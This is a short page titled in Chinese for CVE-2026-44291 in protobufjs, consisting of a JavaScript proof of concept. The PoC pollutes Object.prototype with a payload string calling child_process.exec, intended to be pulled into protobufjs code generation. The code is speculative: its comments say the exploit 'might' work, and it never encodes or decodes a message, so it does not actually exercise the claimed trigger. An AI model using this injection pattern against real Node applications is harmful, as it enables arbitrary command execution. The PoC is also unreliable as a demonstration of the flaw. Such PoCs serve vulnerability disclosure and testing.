CVE-2026-44291 protobufjs原型污染致代码注入漏洞

// PoC for CVE-2026-44291: Prototype Pollution leading to Code Injection // 1. Simulate prototype pollution in the environment Object.prototype.maliciousType = "require('child_process').exec('calc.exe')"; // 2. Initialize protobufjs (assuming a vulnerable version < 7.5.6 or < 8.0.2) const protobuf = require("protobufjs"); // 3. Define a schema that triggers the internal lookup const schema = "message MyMessage { optional string data = 1; }"; // 4. Parse and attempt to generate code const root = protobuf.parse(schema).root; const Message = root.lookupType("MyMessage"); // In a vulnerable scenario, the code generation logic might incorporate // the polluted property 'maliciousType' into the output function, // leading to execution of the payload when the message is encoded/decoded. console.log("If vulnerable, the generated code might reference the polluted prototype property."); // Cleanup delete Object.prototype.maliciousType;